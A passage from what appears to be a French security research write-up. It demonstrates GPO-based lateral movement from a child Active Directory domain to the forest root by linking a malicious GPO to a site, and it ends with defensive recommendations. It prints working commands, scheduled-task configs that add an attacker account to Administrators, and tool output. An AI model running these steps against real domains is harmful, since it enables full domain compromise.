Comme souvent lorsqu’il est question de vecteurs d’attaque reposant sur les GPOs, les articles décrivant la présente technique ne fournissent pas toujours de démonstration concrète, de bout-en-bout, de l’exploitation de tels vecteurs. Cette partie vise à démontrer comment cette exploitation peut être effectuée via GrpupPolicyBackdoor.py.

À des fins de démonstration, nous considérerons une forêt Active Directory dont le domaine racine est corp.com. Ce domaine dispose d’un domaine enfant, dev.corp.com. La forêt est configurée avec un seul site, Default-First-Site-Name, qui contient l’ensemble des actifs de la forêt. Un attaquant a compromis le domaine enfant dev.corp.com et souhaite, de là, compromettre le domaine racine de la forêt corp.com. L’utilisateur devadm est sous le contrôle de l’attaquant, et est administrateur de domaine sur dev.corp.com.

Deux étapes sont nécessaires afin d’effectuer l’attaque. Premièrement, une GPO malveillante doit être créée sur le domaine compromis (il serait également possible d’utiliser une GPO déjà existante). Pour cela, la commande gpo create de GroupPolicyBackdoor.py peut être utilisée. Ici, nous créons la GPO avec le nom LATERAL.

$ python3 gpb.py gpo create -d dev.corp.com --dc dev01-dc.dev.corp.com -u 'devadm' -p 'Password1!' -s S-1-5-21-2015307081-2275635861-2347354195 -n 'LATERAL'  
GPB - CREATE command - 2025-11-01 07:51:31.259289

[#] Command execution setup
[*] State folder is state_folders/2025_11_01_075131


[#] Group Policy Container creation
[+] Successfully created Group Policy Container for CN={4F594057-88EC-4C8C-9FC9-A167B0A75242},CN=Policies,CN=System,DC=dev,DC=corp,DC=com

[#] Group Policy Template creation
[+] Successfully created Group Policy Template for CN={4F594057-88EC-4C8C-9FC9-A167B0A75242},CN=Policies,CN=System,DC=dev,DC=corp,DC=com

[+] GPB CREATE command success

Une fois la GPO créée, une configuration malveillante peut y être injectée. Comme toujours et dans un but de simplicité, nous injecterons une tâche immédiate ajoutant l’utilisateur contrôlé devadm du domaine enfant au groupe local Administrators. La machine AD01-DC (un contrôleur de domaine de corp.com) sera ciblée.


[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "net localgroup Administrators dev.corp.com\devadm /add"

[MODULEFILTERS]
filters =
    [{
        "operator": "AND",
        "type": "Computer Name",
        "value": "ad01-dc.corp.com"
    }]
$ python3 gpb.py gpo inject -d 'dev.corp.com' --dc dev01-dc.dev.corp.com -u 'devadm' -p 'Password1!'  -m ~/modules/ImmediateTask_create_computer.ini -n LATERAL   
GPB - INJECT command - 2025-11-01 07:53:28.239889

[#] Command execution setup
[+] All modules validated
[*] State folder is state_folders/2025_11_01_075328


[#] Generating XML payloads for modules
[+] Successfully generated XML for all payloads

[#] Writing modules XML to the Group Policy Template via SMB
[*] Writing module Scheduled Tasks (computer)

[#] Updating GPO extension names in the Group Policy Container via LDAP
[+] 'gPCMachineExtensionNames' successfully updated

[#] Increasing the GPO version via LDAP and SMB
[+] Successfully increased LDAP GPO version
[+] Successfully increased SMB GPO version

[+] GPB INJECT command success

 

La GPO malveillante est prête, et son GUID est 4F594057-88EC-4C8C-9FC9-A167B0A75242. L’attaquant doit désormais lier cette GPO au site Default-First-Site-Name. Pour ce faire, et comme expliqué dans la section précédente, il est nécessaire d’exécuter des commandes en tant que SYSTEM sur l’un des contrôleurs de domaine de dev.corp.com. Plusieurs options peuvent être envisagées ; la plus simple d’entre elle passe par la définition d’une tâche planifiée exécutée en tant que SYSTEM. Bien que le script atexec.py de la suite impacket pourrait être utilisé à cet effet, cela pourrait ne pas être souhaitable dans le cas où un produit de sécurité tel qu’un EDR serait déployé sur la machine cible. Une autre possibilité est de continuer à exploiter les GPOs : nous allons injecter une tâche planifiée dans la GPO Default Domain Controllers Policy du domaine enfant, qui s’exécutera en tant que SYSTEM pour lier la GPO malveillante créée au site, en Powershell.


[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = powershell.exe
arguments = New-GPLink -Name LATERAL -Target \"CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=com\" -Server dev01-dc.dev.corp.com

[MODULEFILTERS]
filters =
    [{
        "operator": "AND",
        "type": "Computer Name",
        "value": "dev01-dc.dev.corp.com"
    }]
$ python3 gpb.py gpo inject -d 'dev.corp.com' --dc dev01-dc.dev.corp.com -u 'devadm' -p 'Password1!' -m ~/modules/ImmediateTask_create_computer_link.ini -n "Default Domain Controllers Policy" 
GPB - INJECT command - 2025-11-01 07:56:19.178868

[#] Command execution setup
[+] All modules validated
[*] State folder is state_folders/2025_11_01_075619


[#] Generating XML payloads for modules
[+] Successfully generated XML for all payloads

[#] Writing modules XML to the Group Policy Template via SMB
[*] Writing module Scheduled Tasks (computer)

[#] Updating GPO extension names in the Group Policy Container via LDAP
[+] 'gPCMachineExtensionNames' successfully updated

[#] Increasing the GPO version via LDAP and SMB
[+] Successfully increased LDAP GPO version
[+] Successfully increased SMB GPO version

[+] GPB INJECT command success

Il ne reste désormais plus qu’à attendre. Après 5 minutes au maximum, la GPO Default Domain Controllers Policy forcera le compte SYSTEM de DEV01-DC à lier la GPO malveillante au site cible. L’attribut gPLink sera ainsi mis à jour avec un élément supplémentaire correspondant à la GPO LATERAL.

 

gplink site modified
Attribut gPLink du site Default-First-Site-Name modifié.

La réplication de la partition de configuration sera effectuée après 5 minutes de plus (puisque nous sommes dans le même site que la cible). Enfin, après 5 autres minutes, la machine AD01-DC exécutera la GPO malveillante LATERAL, ajoutant l’utilisateur devadm à son groupe d’administrateurs locaux, c’est-à-dire au groupe des administrateurs du domaine de corp.com.

Cela peut être vérifié en se connectant au partage administratif C$ de AD01-DC avec devadm.

$ smbclient '\\ad01-dc.corp.com\C$' -U 'dev.corp.com\devadm' --password 'Password1!'
Try "help" to get a list of possible commands.
smb: \> dir
  $Recycle.Bin                      DHS        0  Thu Dec 21 09:28:19 2023
  $WinREAgent                        DH        0  Thu Jun 12 18:37:16 2025
  Documents and Settings          DHSrn        0  Thu Dec 21 18:06:11 2023
  DumpStack.log.tmp                 AHS    12288  Sat Nov  1 13:28:03 2025
  GPReport.html                       A   585908  Fri Oct 10 00:01:13 2025
  inetpub                             D        0  Thu Dec 21 09:29:25 2023
  pagefile.sys                      AHS 738197504  Sat Nov  1 13:28:03 2025
  PerfLogs                            D        0  Sat May  8 01:20:24 2021
  picpoc.txt                          A       21  Sat Oct 11 16:57:29 2025
  Program Files                      DR        0  Thu Dec 21 18:57:48 2023
  Program Files (x86)                 D        0  Thu Dec 21 09:29:25 2023
  ProgramData                       DHn        0  Tue Aug 26 00:10:17 2025
[...]

Comme toujours, il est possible de nettoyer les configurations injectées et supprimer les GPOs créées avec GroupPolicyBackdoor.py.

 

Conclusion

Les chemins d’attaque impliquant les sites Active Directory ne sont peut-être pas les plus courants, ou les plus triviaux à exploiter. Cependant, lorsqu’ils existent, ils peuvent s’avérer assez critiques puisqu’ils peuvent résulter en la compromission totale d’un ou plusieurs domaine(s) de la forêt.

D’un point de vue défensif, il est ainsi important d’effectuer une revue régulière des ACLs assignées aux sites Active Directory. Cela est particulièrement vrai dans le cas d’une organisation déléguant les permissions de gestion des sites Active Directory à des fins d’administration. Enfin, des règles de détection devraient être créées pour les artefacts générés par les vecteurs d’attaque basés sur les GPOs, tels que les création, modification et suppression de GPOs, ou l’alteration des attributs gPLink de conteneurs sensibles.

 

  • 1. Il peut être noté que lorsque nous avons lancé OUned, nous avons spécifié le contrôleur de domaine AD01-DC2 comme contrôleur de domaine. De cette façon, l’attribut gPLink sera modifié sur ce contrôleur de domaine. Si nous avions sélectionné un contrôleur de domaine situé dans un autre site, nous aurions eu à attendre 180 minutes dans la configuration par défaut pour que la réplication soit effectuée, et que les objets du site NewYork détectent le changement de l’attribut gPLink associé à leur site.
  • 2. Par exemple, partons du cas d’une topologie à trois sites. Le site A est lié au site B, et le site A est lié au site C. Les sites B et C sont transitivement liés par le site A, qui agit comme un site d’interim. Dans ce cas, si l’ensemble des contrôleurs de domaine de l’un des domaines est situé dans le site B, et l’ensemble de ceux de l’autre domaine dans le site C, qu’aucun lien réseau n’existe entre les deux ensembles de contrôleurs de domaine (puisque la réplication passe par le site A). Dans ce cas-là, le mouvement lateral direct du site B vers le site C ne sera pas possible au travers de la technique décrite. Il sera cependant possible d’utiliser cette dernière pour compromettre le site A, et redescendre vers le site C.